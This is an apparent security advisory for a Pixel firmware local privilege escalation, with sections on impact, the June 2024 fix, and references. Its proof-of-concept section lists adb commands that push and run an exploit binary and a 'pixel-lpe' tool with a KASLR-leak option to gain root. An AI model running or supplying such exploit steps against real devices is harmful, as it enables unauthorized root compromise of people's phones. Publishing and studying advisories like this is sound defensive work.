Pixel firmware privilege escalation

## description

A logic flaw in Pixel-specific firmware allows local privilege escalation. Confirmed exploited in limited, targeted attacks against Pixel devices.

## impact

Local privilege escalation to root without bootloader unlock. Persistent across reboots.

## mitigation

Apply June 2024 Pixel security update.

## proof of concept

# Stage 1 — drop payload via vendor service
adb push exploit.bin /data/local/tmp/
adb shell chmod +x /data/local/tmp/exploit.bin
adb shell /data/local/tmp/exploit.bin --trigger
./pixel-lpe --target=oriole --kaslr-leak

## downloads

## references

• Pixel Bulletin 2024-06
• GrapheneOS notes